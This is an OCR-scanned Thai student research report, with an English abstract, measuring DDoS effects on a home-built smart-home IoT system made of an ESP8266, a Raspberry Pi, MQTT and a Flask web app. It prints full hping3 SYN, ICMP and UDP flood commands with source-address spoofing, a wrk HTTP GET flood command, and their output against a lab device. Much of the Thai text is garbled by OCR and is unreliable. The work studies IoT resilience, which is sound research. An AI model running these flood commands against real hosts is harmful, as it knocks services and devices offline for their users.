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ABSTRACT

Today, IoT technologies are applied in many industries. or within everyday life such
as Smart Home to increase convenience of living, which make this technology popular and
developing rapidly. But the security technology of IoT is not robust and not ready to deal with
cyber attacking.

This Research proposes a DDoS Attack to the most widely applied Smart Home IoT
System. And can also be developed by yourself. To demonstrate the effect, the consequences of
attack, devices processing limitation and resilience of the device.

This Research shows the impact of attack on Smart Home [oT system. thus, users
cannot control or operate the device while the attack occurs with TCP Syn Flood Attack. Http Get
Flood Attack shows the processing capabilities of the device in IoT system. ICMP Flood Attack
and UDP Flood Attack show higher estimate of network bandwidth usage, which make more time

to access a service over the network.
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12. Stereo Audio

40 Pin General-purpose
input/output Header PoE HAT Header

Gigabit Ethernet

2.4/5GHz Wirless
Bluetooth 5.0
Micro SD Card Slot

2xUSB 3.0
2-lane MIPI DSI
display port

2xUSB2.0

USB-C Power

Port 5V/3A 4-pole stereo audio
2 x micro HDMI ot
ports(up to 4Kp60) p

MNN 3.3 Layout U84 Raspberry Pi 4 Model B
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Quad-Core Processor

USB C
Power
Supply

UsB 2

Use3 GIGABIT
Ethernet

gl B AE0

Raspberry Pi 4 Pinout

WA 3.4 Pinout Y03 Raspberry Pi 4 Model B

d
3.4 lulasneulnsataes NodeMCU ESP 8266
ao Aqu @ ¢

Tuszuw ToT vesnuIdeiildginsalluTasnouInsamos NodeMCU ESP 8266
< J 4 SN o o k) o @ k) [ 4 . =
Fuuveianou InsataosNUanvaeN13IUAWMTINIE C AA19AVUDIA Arduino Al
ANHULANABANATY BT AUADAY WIFI 18 5095UAES Deep Sleep lunsdsznda
WU 1Az N30 Wake Up navinndenldaualsnanioundi 2 Hadaduni nieunesa

. 4‘ [ d' 1 Y o d' a 4 d' [
micro USB MBI UMIITONADIINUIATDIABNN AT INOWA L 11 5UnTH

HeFeemr i@ aanE®
DI p2 D3 D U%) 05 D6 D7 D8 RX TX GN03U3

saaaalas s
I @

i ¥
| 3

':s ;\ P ¥ :
- 2 ] L] i
[ L

i 3.5 lulasaea Insamas Node MCU ESP 8266
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Layout t18& Pin out U84 Node MCU ESP 8266
1. Micro USB
2. Flash Button

3. Reset Button

PIN DEFINITION

DEVKIT

GPIcusH USER H WAKE ]

GPIOS

GPIO4

GPIO1@ GPIO@

m
w

S l=

SCLK

GPIO13 H RXD2 H HMOST ]
GPID1S H TXD2 H HCS ]

GPIO3

GND

SYSTEM RST GPIO1

e
i

GND GND

RESERVED

IBEEd
:

VIN 5V 3.3v

DO(GPIO16) can only be used as gpio read/write, no interrupt supported, no pwm/i2c/ow supported.

MNA 3.6 Pin out Y93 Node MCU ESP 8266

d o a 4
3.5 wmmaimqmﬂgwmzmm%u (DHT22)

Qwa’ d o YY) a &l a
Tuszuv 10T voanuIvei ldsusos dmsutaoant tazanurulusimeayiia

Q U

= Y} ' Y ST L. Y o
DHT22 mmswmgﬂ%amm “lwwa Output a’oﬂmgﬂum Dlgltal Gl%wawmmmﬂ 33 -6

Thad
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[

v k4
MW 3.7 1ures ingunginagnuiy DHT22

ki
AnENITAYDUBUILD S TAgUINTIATAINAU DHT22
9
1. 61U3IAAMNFU 0 - 100%RH (Relative Humidity)
2. MANULNUE +/- 2%RH
9
3. a0 laganuazDeadon Ny 0.1%RH
I 1 L.
4. Output wum Digital

1 1 o

5. DIUMTYYIUNN 2 TN

d
3.6 UeAYIBINGS LED
ao & Y J . a A = 9
Tuszuu ToT voanuIveu 1¥uenmomas LED 11 2 Pin 1A 5 Haamas aely
[ B = 9 9y a :: J o Y 1 I'4
AU VoM 151 vaglvgangiimvazilawauivainansgnuasiyusos
1
InguugiuazaNuiuion
A 4
AUTUIAvDLEAYOINDT LED
[ 4
1. 1usaau i 1.9 - 2.4 Thad
2. ANUAUUBINTABIAIIL 500 - 2000 med

3. maunnszua v 20 ma
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MW 3.8 119AYOIADS LED 5 mm

3.7 1511A@5 TP Link Archer C64 AC1200 Wireless

Tu3221 ToT Y091 3583 19151003 Archer C64 1#M31301ADIEHI Node ToT
A1 MQTT Broker Hag L“?;"Ollﬁlﬁl Clients Subscriber, Packet Generator Nl MQTT Broker

AUANIAUBY Archer C64

1. ANMI3 Wireless gugAfitnu 5 GHz agii 867 Mbps 1az81u 2.4 GHz AW
agABLT 400 Mbps

2. vilgilseudana 1.2 GHz

3. 5995UMIFOULVVEBRIY Gigabit LAN Port 11211152898 100 Mbps

AN 3.9 1517035 TP Link Archer C64
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3.8 Hping3

v
aAaA U

a o dy Y A ) [ 9 . =2 g A Y
nuiteildasesdmvaseyanis Tau@nisonat Hpingd Fuilwnsesludiu
A 1 A 9 A o Y
19509 1eNNANNAIMITDAS199A Packet Tugiliuy ICMP, UDP taz TCP AamnsodSuesld
Y o Y g A A Aa Y, .
wiouuanamsasundvveuivuie thuasestioniionldlunsnaaey Firewall Rules,
151unszUIUMIAUNY Port, JEMATRUYTLANTNINVDIAT 0918828 Protocol MUVAI
awsnldanldazainianuuszuul§iams Kali Linux
JUUUVMIMANUNANVDI Hping3
1. RAW IP Mode
2. ICMP Mode
3. UDP Mode
4. SCAN Mode

5. Listen Mode

root@kali:~# hping3 -h
usage: hping3 host [options]
-h  —-help show this help
-v --version show version
-c  --count packet count
-i --interval wait (uX for X microseconds, for example -i ul888)
--fast alias for -i ul@Pe® (10 packets for second)
--faster alias for -i ulePe (100 packets for second)
-—flood sent packets as fast as possible. Don't show replies.
-n - -numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received
Mode
default mode TCP
--rawip RAW IP mode
-—icmp ICMP mode
--udp UDP mode
--scan SCAN mode.
Example: hping --scan 1-30,70-98 -S www.target.host
--listen listen mode

-a --spoof spoof source address

--rand-dest random destionation address mode. see the man.

--rand-source random source address mode. see the man.

-t --ttl ttl (default 64)

-N --id id (default random)

-W --winid use win* id byte ordering
--rel relativize id field (to estimate host traffic)
-—frag split packets in more frag. (may pass weak acl)
--morefrag set more fragments flag

--dontfrag set don't fragment flag

MW 3.10 519MIUaAAINITUSUIAIUDS Hping3
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a o [

v Y 4
Taggamdedmsumsadianms Taudluauised Jaail

TCP SYN Flood Attack

“sudo hping3 -d 120 -S -V -p 8181 192.168.1.103 --flood --rand-source ”’
-d = Data Size 120
-S = SYN Packet (TCP is Default Mode)
-V = Verbose Mode
&
-p = Port 1A3031a18M19

—flood = &4 Packet l/dunsoslaremaifigamiiiegsir 14 Tao luiaulamsaeu

4 Y
--rand-source = 1apuru18@v IP Address Lﬂ%“ﬂﬂﬁuﬂN

] kali@kali: ~

File Actions Edit View Help

= 1 120 8181 192.168.1.103

[sudo] password for kali:

using etho, r: 10.211.55.10, MTU: 1500

HPING 192 .1.103 (et .168.1.103): S set, 40 headers + 120 data bytes

hping in flood mode, no replies will be shown
A
&

— 192.168.1.103 hping statistic —
65367204 packets nsmitted, @ packets received, 100% packet loss
round-trip mi max = 0.0/0.0/0.0 ms

MWA 3.11 gamded 115 Da519015 19U TCP SYN Flood Attack

ICMP Flood Attack

“sudo hping3 -1 -d 120 192.168.1.103 --flood --rand-source ”
-1 = ICMP Packet (ICMP Mode)

-d = Data Size 120

~flood = @4 Packet T/dunTostlaemaiingaminegsi g Tagliaulamsaoy

--rand-source = aourin1g@Y IP Address Lﬂ%fldé]}uﬂN
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kali@kali: ~
File Actions Edit View Help

120 192.168.1.103
[sudo] password for kali:
HPING 192.168.1.103 (eth® 192.168.1.103): icmp mode set, 28 headers + 120 dat
a bytes

hping in flood mode, no replies will be shown

AC

— 192.168.1.103 hping statistic —

66560075 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

'
o ¥ o o 9

M 3.12 %@ﬂ1ﬁ3ﬁ1ﬁiﬂﬁ'iNﬂ1iTi]3JLL“LI“]J ICMP Flood Attack

UDP Flood Attack

“ sudo hping3 --udp -d 120 -p 8181 192.168.1.103 --flood --rand-source
--udp = UDP Packet (UDP Mode)
-d = Data Size 120

-p = Port 1A5091a18M19

~flood = &4 Packet lldunToalaremaiiiganiiiozmld Tagliaulamsaeu

--rand-source = UaounugLay IP Address Lﬂ%f]ﬂg]}uﬂN

kali@kali: ~
File Actions Edit View Help

120 8181 192.168.1.103
HPING 192.168.1.103 (eth® 192.168.1.103): udp mode set, 28 headers + 120 data
bytes

hping in flood mode, no replies will be shown
Ac

192.168.1.103 hping statistic —
75300337 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

o 9 2

MW 3.13 gamdedmiuad1anis Taunuy UDP Flood Attack



31

3.9 WRK
av dy 9 A A I A A A 9 o a a & 9
el lmaTeie WRK Wunseslenlialse@nsninves HTTP FINITNYA
) [ 1 o I 4 { o o o
Request Packet Vsmamndwsuds llduthuine uazihunsesilonsessumsadgadids

H S
NenfuayuMsMOUILY Multi-Core 1% Multithread #13150A0A9 18418 tazd@mnsoad

v
o 3 o o a o W

a ¢ ¥ ¥ a L a0 &
FIYANUNITAATIZHIN Response Ulﬂ Iﬂﬂ“ljﬂﬂ'I’ﬁ\iﬁ'n’iiUﬂTiﬁiNﬂ'ﬁImN]iuxﬂu'J YU UAU

HTTP GET Flood Attack

“wrk -t3 -c100000 -d60s http://192.168.1.103:8181 ”
-t3 = MUY 3 Thread
- ¢ = 914U Request NIMuANADINT

9
-d = 3TN MINUAUDINITEOI Request

'
o ¥ o v 9

NT 3.14 “Ijﬂﬂ”lﬁ\iﬁ”miﬂﬁi”lx‘lﬂﬁifﬂml’u‘u HTTP GET Flood Attack

A ¢
3.10 Mmswonneginyal
A 9 9 = A ' S Y v
11199910015 a31952U Y ToT VLADIUNITIVOUADIFULEDS LU U
4 4 ] 1 4 4 [ o & o [ ]
luTnsaouInsames vazeuannglnsalmumes DHT22 uazFumdsd i uduLen

J 4 ) 1% [ 1 o 1
omes LED e Tiwioud msunmssudedoyany MQTT Broker W14 MQTT Protocol


http://192.168.1.103:8181/
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4 ' o s o o o
ﬂTﬁNﬂTﬁLG‘]ﬂSmJﬂ’E)Q‘IJﬂiml“ﬁul“ﬁ@'illﬁ]ﬂ%!ﬁ]tﬂf)il‘liﬁﬂ‘ﬂ‘ﬂ@iﬂ ESP 8266

e’ Tngamgiinaza sy vo3a ESP 8266
+ D4 (GP1002)
Out 3V3
- GND
uenY1eINDS LED vo3a ESP 8266
+ DI (GPIOS)
i GND

(AN

:

MW 3.15 M3AowLes DHT22 1ag teAgomes LED 11iuue3a ESP 8266

3.11 gamdamshauuuuesa ESP 8266
o & & o 7 kS
Tumsesnuuugamdinisaiuquuazdin1siiuuesuesa ESP 8266 1iu'ld
A o ] A s < P S A Y,
@onann lsunsudien1y C losnnglnssieniauns lulasnouInsamesinonldlu

Y ] v
ﬂm%ﬁimmmiwmuwﬂﬁmﬂﬁwmmﬁaamy1 C




yamaded1nisululnsaeuInaaes ESP 8266

#include <ESP8266WiFi.h>
#tinclude <PubSubClient.h>
#tinclude "DHT.h"

inuauls DHTTYPE
#define PE DHT22

dmifumsiedon WIFI 185usouls
. char* ssid = "Takeshi_Factory 2.4G";
nst char* password = "Xxxxxxxxx";

//fmuasimun Address vea MQTT Server
const char* mqtt_server = "192.168.1.103";

WiFiClient espClient;
PubSubClient client(espClient);

//[fmiuaa PIN dhwisy LE  DHT22
1st int ledGPIOS5 = 5;

DHTPin = 2;

DHT22
DHT dht(2, DHTTYPE);

now = millis();
lastMeasure = 0;

6 nu WIFI Router

setup_wifi() {
delay(10);

Serial.printin();
Serial.print("Connecting to ");
Serial.printIn(ssid);
WiFi.begin(ssid, password);
while (WiFi.status() != WL_CONNECTED) {
delay(500);
Serial.print(".");
}
Serial.printIn("");
Serial.print("WiFi connected - ESP IP address:
Serial.printIn(WiFi.locallP());

}




callback(String topic, byte* message, length) {
Serial.print("Message arrived on topic: ");
Serial.print(topic);
Serial.print(". Message: ");
String messageTemp;

for (inti=0; i< length; i++) {
Serial.print((char)messagelil);
messageTemp += (char)messagelil;

;erial.println();
naoummdngamsuriea-ia LED

if(topic=="esp8266/5"){
Serial.print("Changing GPIO 5 to ");
if(messageTemp == "1"){
digitalWrite(ledGPIO5, HIGH);
Serial.print("On");
}
else if(messageTemp == "0"){
digitalWrite(ledGPIO5, LOW);
Serial.print("Off");
}

}

Serial.printIn();

}

MQTT Broker @ismsiyousi@un

reconnect() {
/
while (!client.connected()) {

Serial.print("Attempting MQTT connection...");

if (client.connect("ESP8266Client")) {
Serial.printIn("Connected");
client.subscribe("esp8266/5");
}else {
Serial.print("failed, rc=");
Serial.print(client.state());

Serial.printIn(" try again in 5 seconds");




delay(5000);

setup() {
dht.begin();

pinMode(ledGPIO5, OUTPUT);
am Baud Rate dwsumsgr Serial Monitor
Serial.begin(115200);
setup_wifi();
client.setServer(mqtt_server, 1883);
client.setCallback(callback);
}

//Gudumsiman
oid loop() {
if (Iclient.connected()) {

reconnect();

}
if(!client.loop())

client.connect("ESP8266Client");

now = millis();

if (now - lastMeasure > 10000) {

lastMeasure = now;

h = dht.readHumidity();
t = dht.readTemperature();
f = dht.readTemperature(

if (isnan(h) || isnan(t) || isnan(f)) {

Serial.printIn("Failed to read from DHT sensor!");

return;
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hic = dht.computeHeatIndex(t, h,
temperatureTemp([7];

dtostrf(hic, 6, 2, temperatureTemp);

humidityTemp[7];
dtostrf(h, 6, 2, humidityTemp);

//Publish fgumgiiuazaiunsenlis Subscriber s MQTT Br

client.publish("/esp8266/temperature"”, temperatureTemp);
client.publish("/esp8266/humidity", humidityTemp);

Agamginazanuiuuwmine Serial Monitor
Serial.print("Humidity: ");
Serial.print(h);
Serial.print(" %\t Temperature: ");
Serial.print(t);
Serial.print(" *C");
Serial.print(f);
Serial.print(" *F\t Heat index: ");
Serial.print(hic);
Serial.printIn(" *C");

3.12 Mm3fans mamruamveslulasInssaises Raspberry Pi

Y
N13INAAN Mosquitto Broker

“sudo apt install -y mosquitto mosquitto-clients ”’
“ sudo systemctl enable mosquitto.service
“sudo vi /etc/mosquitto/mosquitto.conf ”’
NEGRGR

listen 1883

allow_anonymous true



M3AARA Flask

“ sudo apt-get install python-pip python-flask git-core
“ sudo pip install flask

“ sudo pip install paho-mqtt ”

N13AAAY Web SocketIO

“sudo pip install flask-socketio

3.13 Wa Web Application ae Python Tael¥ Flask Web Framework

ﬁ’%)N hl‘1/\|f1{ main.html

DOCTYPE html
hez
e>Raspberry Pi Web Server</title
ink rel="stylesheet" href="{{url_for('static', filename = 'css/bootstrap.min.css')}}"
crossorigin="anonymo
link rel="sty et href="{{ or('static', filename = 'css/bootstrap-theme.min.css')}}"
crossorigin="anonymous"
src="{{url_for(" c', filename ="js/bootstrap.min.js')}}"
crossorigin="anonymous"></script
src="{{url_for('static', filename = 'js/jqu .1.1.min.js")}}"
crossorigin="anonymous"></script
name="viewport" content="widt evice-width, initial-scale=1"
type="text/javascript™ src="{{url_for('static', filename ="'js/socket.io.min.js')}}"
type="text/javascript" charset="utf-8"
S(document).ready( 0{
socket = io.connect('http://' + document.domain + ":' + location.port);
socket.on('connect’, 0{
socket.emit('my event', {data: connected!'});
};
socket.on('dht_temperature’, (msg) {
nDate = Date();
S('#readingsUpdated').text(nDate.getHours() + ":' + nDate.getMinutes() +

'm:' + nDate.getSeconds() + 's').html();

S('#temperature').text(msg.data).html();
};

37
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socket.on('dht_humidity’, (msg) {
S('#humidity').text(msg.data).html();
1;

};

Raspberry Pi Web Server With MQTT</h
{% for pin in pins %}
h2>{{ pins[pin].name }}
{% if pins[pin].state == 'True' %}

is currently <strong>on</strong></h2><div class="row"><div class="col-md-2"

<a href="/esp8266/{{pin}}/0" class="btn btn-block btn-lg btn-default" role="button">Turn
off </div></div>
{% else %}
is currently <strong>off</strong></h2><div class="row"><div class="col-md-2"
<a href="/esp8266/{{pin}}/1" class="btn btn-block btn-Ig btn-primary" role="button">Turn
on</a></div></div>
{% endif %}
{% endfor %}
DHT Readings (updated <span id="readings!| ited"></span>)</h3:
Temperature: <span id="temperature" an>2C</h3>

Humidity: id="humidity"></s %</h3>

ﬁ%}Nthﬁ app.py

import paho.mqtt.client as mqtt
from flask import Flask, render_template, request, url_for

from flask_socketio import SocketlO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'

socketio = SocketlO(app)




trim_t(data):
trim1_t = str(data).strip('\")
trim2_t = trim1_t.strip('b\")
trim3_t = trim2_t.strip()

return trim3_t

trim_h(data):
trim1_h = str(data).strip('\")
trim2_h =trim1_h.strip('b\")
trim3_h = trim2_h.strip()

return trim3_h

def on_connect(client, userdata, flags, rc):

print("Connected with result code "+str(rc))

client.subscribe("/esp8266/temperature"

client.subscribe("/esp8266/hur V")

on_message(client, userdata, message):

print("Received message " + str(message.payload) + "' on topic "'+ message.topic + "' with QoS

" + str(message.qos))

if message.topic == "/esp8266/temperature":

print("temperature update")

socketio.emit('dht_temperature’, {'data’: trim_t(message.payload)})

if message.topic == "/esp8266/humidity":
print("humidity update")
socketio.emit('dht_humidity', {'data": trim_h(message.payload)})

mqttc=mqtt.Client()
mgttc.on_connect = on_connect
mgttc.on_message = on_message
mgqttc.connect("localhost",1883,60)
mqttc.loop_start()




pins = {
5:{'name': 'GPIO 5', 'board' : 'esp8266', 'topic' : 'esp8266/5', 'state' : 'False'}
}

templateData = {
'‘pins' : pins
}
@app.route("/")
main():

return render_template(‘'main.html’, async_mode=socketio.async_mode, **templateData)

@app.route("/<board>/<changePin>/<action>")
def action(board, changePin, action):
changePin = int(changePin)

devicePin = pins[changePin]['name']

if action == "1" and board == 'esp8266'":
maqttc.publish(pins[changePin]['topic'],"1")
pins[changePin]['s ] = True'

if action == "0" and board == 'esp8266':
maqttc.publish(pins[changePin]['topic'],"0")

pins[changePin]['state'] = 'False’

templateData = {
‘pins' : pins
}

return render_template('main.html’, **templateData)

@socketio.on('my event')
handle_my_custom_event(json):
print('received json data : ' + str(json))

if _name__=="_main__":

socketio.run(app, host='0.0.0.0', port=8181, debug=
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3.14 NAAAUNIFNHIIYM 5219 Publisher 1182 Subscriber 1% MQTT Broker

- o X
Send
_______ -
WiFi connected - ESP IP address: 152.168.1.104
Attempting MQTT connection...connected
Humidity: 37.30 % Temperature: 26.30 *C 79.34 *F Heat index: 25.9& *C
Message arrived on topic: esp2266/5. Message: 1
Changing GPIO 5 to On
Humidity: 38.60 % Temperature: 26.30 *C 79.34 *F Heat index: 25.99 *C
Humidity: 37.90 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.280 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.60 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.70 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.50 % Temperature: 26.30 *C 79.34 *F Heat index: 25.96 *C
Humidity: 37.50 % Temperature: 26.20 *C 79.1é *F Heat index: 25.85 *C
Humidity: 37.70 % Temperature: 26.20 *C 79.16 *F Heat index: 25.86 *C
Message arrived on topic: esp22e6/5. Message: 0
Changing GPIO 5 to Off W

[ Autoscroll [] Show timestamp Newline ~ | [115200baud Clear output

NN 3.16 Llﬁﬂ\iﬂﬁﬁ%ﬂuﬂm\iﬂﬂgﬂ ESP 8266

@ Raspberry Pi Web Server b +

&« C A Notsecure | 192.168.1.103:8181/esp8266/5/0

ﬂ Pre-Order Portrait.. ﬁ (1) B

Raspberry Pi Web Server With MQTT
GPIO 5 is currently off

Tum on

DHT Readings (updated 23:9m:2s)

3 Thailan... @8 fediwalasdy Netflix {9:- Ame-Shop t.. Best Scar Reducing... ﬁ (1) Nuabisong =ag... ? ZipEvent - Inspirati... !

Temperature: 30.14°C
Humidity: 50.60%

MNA 3.17 1EAINITHINIUVDI Web Application
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@ Raspberry PiWsb Server X +

< C A Notsecure | 192.168.1.103:8181/esp8266/5/1

W) Pre-Order Portrait... @) (1) 503 Thailan.. [@ fefdidndy Netflie.. &3 dusn - Ame-Shop:. DI/ BestScar Reducing.. €@ (1) Nuobisongisan.. %@ ZipEvent- Inspirati.. [ GearBrand | MenS.. £~

Raspberry Pi Web Server With MQTT
GPIO 5 is currently on

Turn off

DHT Readings (updated 23:9m:42s)
Temperature: 29.78°C
Humidity: 47.80%

MNN 3.18 uaasnsauila LED W1 Web Application

O *
Send
_______ -
WiFi conmected - ESP IFP address: 192.168.1.104
Attempting MQTT connection...connected
Humidicy: 37.30 % Temperature: 26.30 *C 79.34 *F Heat index: 25.9§ *C
Mezzage arrived on topic: esp22e6/5. Measage: 1
Changing GPICO 5 to On
Humidity: 35.60 % Temperature: 26.30 *C 79.34 *F Heat index: 25.99 *C
Humidity: 37.90 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.80 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.60 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humiditcy: 37.70 % Temperature: 26.30 *C 79.34 *F Heat index: 25.97 *C
Humidity: 37.50 % Temperature: 26.30 *C 79.34 *F Heat index: 25.98 *C
Humidity: 37.50 % Temperature: 26.20 *C 79.1¢ *F Heat index: 25.85 *C
Humidity: 37.70 % Temperature: 26.20 *C 79.1¢ *F Heat index: 25.8& *C
Message arrived on topic: esp2266/5. Message: 0
Changing GPIO 5 to Off w
[ Autoscroll [] Show timestamp Newline w | |115200baud Clear output

WA 3.19 ESP 8266 51 Message 910 Web Application WU MQTT Broker eitla LED
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3.15 upumMsland
a o o dy =) I 1
melunudteniivioonuuuurums laudeenilu 2 ¥4
1. 521 9MT 1AUA
v day
2. naams laudAaugaas
A o W a A

pagliaauvesgiuuums lauane

1. HTTP GET Flood Attack

2. TCP SYN Flood Attack

3. ICMP Flood Attack

4. UDP Flood Attack

I 1 4 ) 1

Tagldns lawdiuszeznaideiiios 1 wiidmsugluuy HTTP GET Flood
Attack #2210 19N @1MSUNT LaNALUY TCP SYN Flood, ICMP Flood, UDP Flood Attack
Tagnn 9 1 w1i azsimseendidaiiods anasila uenyewmes LED, Sungaiguvigiuay

Y 9
ANUFUAIU Web Application, ﬂmqmwgumm%uiﬂﬂmwm Serial Monitor, 91 Response
Time UDd Web Application, ﬂﬂ' 1 CPU Usage Y® Raspberry Pi !,Laz{g]ﬂl”l Memory U89 Raspberry
Pi
o ad o o W a =
WaIn1s luAdugaasrziiniseonmidann q L nmduszesial 5 wIn
4' YA o ¥ A a 4 1
enaapuANUEINIIa lumMsnAusEIY Tnesmsesndidullatazila ueagemes LED, gm
4 k3

QUHANNAZANUFURIY Web Application, §AIQMNYNANFUTAsATIHIN Serial Monitor,
E}?h Response Time U3 Web Application, @‘ﬂ'W CPU Usage Y94 Raspberry Pi uazg]m Memory

U4 Raspberry Pi
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HaN1SIY

4.1 M3IVY
1 dal 1 = a o @ A a ds! a2 9 =S
lugquivgnandimsditeuaznaaninnavuaINmM3 laudddegUuuums laud
111U TCP SYN Flood Attack, HTTP GET Flood Attack, ICMP Flood Attack tt68% UDP Flood
Attack IQg9zU@AIITNIT LONA, 52821981015 LaNA, 911U Packet N 1919, LAAINANITNINIY

Y0932V ToT 53 NIUNAMS TINALAZITAIHANTAALAIBIUBITZU ToT

4.2 WaM35IY

£
Aav A

< ~ Y
TugAveiilumsnageums Taudsz ToT Nawsaaiaeauedlugluuives
Y o a Y = o A g Aa A o
1UBINToL (Smart Home) 831)uunn13 Tana ludnyue DDos Niiluniisn iada
UsLANTMNMTINNY, NaaUIATINAVBIMAINFYTLUIANE LAZINBNATBUANINNUA
[ 4 ~ o o
Yavasouesszuy loT ioflinmith liiszgndlgau
4.2.1 HTTP GET Flood Attack
o = 9 ' A A 1 o
711115 1au@d 1aen15a519 GET Requests WIUIATO9U0 WRK  1agi1991149U
I )
Requests 1un1snagavoonily 500 1000 5000 10000 50000 100000 1AIAIHUATEEZIIAINIG
aa = k) [ ,3’
Towdh 1 1 waz lanamsnaaeuasastall [3]
Web Page: 1313019199 Web Application
Web Load Time: 528213a111401319189 Web Application 1118 §aa i1
LED: 5202102103A0UaUDIU09N1TaINTS LED Tuniie Jaaivin
v - 2
Humidity: M35090yaguulnazAuduanInaty Web Application
.. [ a &’ P 1 Y]
ESP  Humidity: m3ingaugiuagauiuyes DHT22 Mi¥euaenuuesa
ESP8266
Yo w .
PI CPU(%) : Y5unarms 1¥masnsdszuianavuo Raspberry Pi

Pi Mem(%) : 1/311a:m51911178A 1191099 Raspberry Pi
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Average Maximum Request/Sec: 13319 Packet qaga ABIUINN Raspberry Pi

asedszuanald
Web

Load Pi Average

Web Time ESP PiCPU Mem Maximum

Page (ms) LED Humidity Humidity (%) (%) Requests/Sec

Packet
500 Y 2298 3030 Y Y 94.9 0.3 172
1000 Y 3989 4032 Y Y 98.5 0.3 174
5000 Y 3031 3601 Y Y 93 0.3 173
10000 Y 2800 3349 Y Y 93.1 0.3 175
50000 Y 7098 9240 Y Y 95.9 0.3 173
100000 Y 8704 9952 Y Y 97.4 0.3 173

=1 gx g’/ Y I 1 . [ A
M3 1aNANe 6 Aseuaaalyiifiugn Raspberry Pi @1315050U1/51188 GET Requests 1o

[ [ ] 9
1gamaeag 173 Requests ap3u1d tazlSuimnsld CPU w04 Raspberry PI gy

U

e

v
1 S

a = 9 = 1 a A 3}/ 1 9 =X Y
iS‘H’J”IWILﬂ@ﬂ”ISTiUJ@] NITLU1D3 Web Page szw’mmﬂﬁmmﬂaumwmﬂx‘lummmmm‘lﬂ
9

[ ~ 9 =K 9 = . A a & a a 14
W"Iﬂﬂi\‘lllﬁuﬂﬁnﬂiﬂﬂl"lﬂ\‘lllﬂﬁ]SM Response Time ‘Vli;’f\ﬁﬂﬂ‘ﬂﬂ@] msmrﬂmm:ﬂmmﬂgmmm

<} { 2 @ 1 a g
LED nil Response Time ﬁqﬁu NITUAIYUNYUUASANNTUIIN MQTT Broker YL ANDU
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v o 1 1 a ¥ { A [ % I'd
Web Application 691191114 nsgusguuglnazanuduues DHT 22 Mioudsnuvuesa

ESP 8266 §331a1u 1d1nd

HTTP Get Flood

100,000
50,000

10,000
5,000

Allaching Packels

1,000
500

500 1,000 5,000 10,000 50,000 100,000
Total Testing Packets

Il Success [ Failed

/WA 4.1 navluanaSunse Packet 7 Raspberry Pi eunsatlseuiana laiazilszuiana

] v
1014 Mesususaudsuna Packet Navuan Taud

4.2.2 TCP SYN Flood Attack

msnageuland 1UAsy U T $raeanisnaaoy a28mslauAads TCP SYN
Flood Attack Taa 1% HPing 3 11 Packet Generator 10811319 Command * sudo hping3 -d 120 -
S -V -p 8181 192.168.1.103 --flood --rand-source ”

wms Touddluszozinat 10 1i Tasaaa Packet 4’ TonAnanua 65.367.204
Packet la@aag Packet HYUIA 120 Bytes Uag Yaounaneay IP Address AUNIY (Spoofing
Source 1P) AundsnsTanAegi 108,000 Packet Ao Sufinazldnanisnadendaarsiadl
[2],[3]

Web Page : e11013 109 Web Application

Web Load Time : 528213a1114n1519189 Web Application 111118 §ad 311

LED : 5821081M3A0Uau83uednsdans LED luwine Tadduii

o v a &£ L
Humidity : miim’fau“aqmwgm!,azﬂ’nmumuﬁmwauu Web Application
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ESP Humidity : 1153994 iuaznusuves DHT22 Mi¥ouaonuuoia
ESP8266
Yo w .
PI CPU(%) : YSuams 1smasn1sUseuianaved Raspberry Pi

Pi Mem(%) : U31121m5 1941128A 21191904 Raspberry Pi

Web
Load ESP PI CPU PI Mem
WebPage Time(ms) LED Humidity 'Humidity (%) (%)
Time
25481
/i
fT'liJ'liﬂﬁ'{\‘i

Imin Y 43973 llaLED 14 v Y 132 0.4
2min N N N Y 76.9 0.4
3min N N N Y 23 0.9
4min Y 54876 N N Y 113 0.5
Smin N N N Y 106 0.5
6min Y 35136 N Y Y 86.5 0.5
7min Y 74932 N Y Y 93.5 0.5
8min N N N Y 120 0.5
9min N N N Y 113 0.5

10min Y 63635 N N Y 103 0.5
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] o v < 1 Y
Raspberry Pi M4i11111ilu MQTT Broker #5umum1s 1% CPU figediu uazns
o [ 14 o {
19199 Web Application d13UANUANLBAYOIABS LED Imsiiaiundias
' = = = . . Y 2
524121973 1auAnaea 10 u1f @1W150i50n Web Application al#ied 5 A5991N

4 y & A a 4 A A Y o A & A 9 A
MHUA 10 AT ﬂ15ﬁ\11ﬂﬂllazﬂﬂ!l@ﬂ@:l@l@@i LED 3JL“WENﬂ‘i\1mt’JWlﬁmﬁﬂﬁQLﬂﬂllﬂIﬂﬂﬂ"bJ

)]

o A 9 g}z A ] o A a 4 9 1
amnsadadald assou q hisunsodulauazdanenyomos LED 14 msuaasaiguigil
k4 H 9
HAZANUFUNTUAIIN MQTT Broker UU Web Application ansai laiiios 3 ase ms
o s A s o o Y a
Wauveuwues DHT 22 71 lulnsnouInsames ESP 8266 davhnu lalnd
Raspberry Pi 1in1wa1mnsolunisgauaues (Resilience) 198 Web Application
o Y a Y o = a = o < 4
navulduims ldnasnnrgaland 15-203u1% ua ludwnsaniugudanisuonyonos

LED l#iilald @99%i1n113 Reboot lulnsneouInsaaes ESP 8266

TCP 5YN Flood

80,000
- 60,000
£
o
E
= 0 nn
5 40000
o
o
o
L]
= 20,000
0o &

0 2 4 B 8 10
Attacking Time (min)

== 65,367,204 Packets

NN 4.2 N5UAAITZIZNIAIMTADVAUDIVOI Web Application INIUADIZIZIIAING 19NA

11U TCP SYN Flood Attack
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kali@kali: ~

File Actions Edit View Help

~

120 8181 192.168.1.103
[sudo] password for kali:
using eth@, addr: 10.211.55.10, MTU: 1500
HPING 192.168.1.103 (eth® 192.168.1.103): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
A
— 192.168.1.103 hping statistic —
